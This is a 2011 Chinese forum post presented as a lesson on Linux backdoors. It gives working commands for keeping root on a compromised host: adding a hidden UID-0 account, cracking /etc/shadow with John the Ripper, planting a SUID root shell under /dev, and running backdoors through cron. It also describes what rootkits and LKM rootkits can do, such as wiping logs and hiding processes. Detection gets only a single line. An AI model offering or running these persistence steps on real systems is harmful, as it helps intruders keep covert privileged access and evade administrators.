灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2701回复:0

Linux后门知识 讲解

楼主#
更多 发布于:2011-12-26 14:47
常用的基本编辑命令:
sed ‘s/src/dst/’ file  替换内容
sed ’1,5d’ file        删除行
wc -l file             计算文件的行数
 
1 增加超级用户账号
useradd -o -u 0 -p “Linux加密的密码” imiyoo
echo “imiyoo:x:0:0::/:/bin/sh”>>/ets/passwd
2 破解root用户密码
./john /etc/shadow -show
./john -wordlist=passwd.lst /etc/shadow
3 放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod a+s /dev/.rootshell   //赋予该程序所有者以suid权限
4 Crontab定时任务
通过Crontab程序调度已安装的后门程序定时运行
Crontab文件内容格式描述:
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令
其中 ‘,’表示时间的分割,由多个时间点组成;’*/6′表示每间隔6个单位就循环执行;’-'表示从某个起点到终点的所有时间
cron服务每分钟不仅要读一次/var/spool/cron内的所有文件,还需要读一次/etc/crontab,因此我们配置这个文件也能运用
cron服务做一些事情。用crontab配置是针对某个用户的,而编辑/etc/crontab是针对系统的任务。
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置
你也可以将这个服务在系统启动的时候自动启动:
在/etc/rc.d/rc.local这个脚本的末尾加上:
/sbin/service crond start
crontab -l列出当前用户目前的crontab
5 工具包Rootkit
包含一系列系统及后门工具:
- 清除日志中的登录记录
- 伪装校验和
- 替换netstat、ps等网络工具
- 后门登录程序易于安装和使用
6 可装载内核模块(LKM)
LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。著名的LKM包有adore和knark。
后门的检测
使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。
7 查看Linux的发行版本
cat /etc/issue


喜欢0 评分0
游客

返回顶部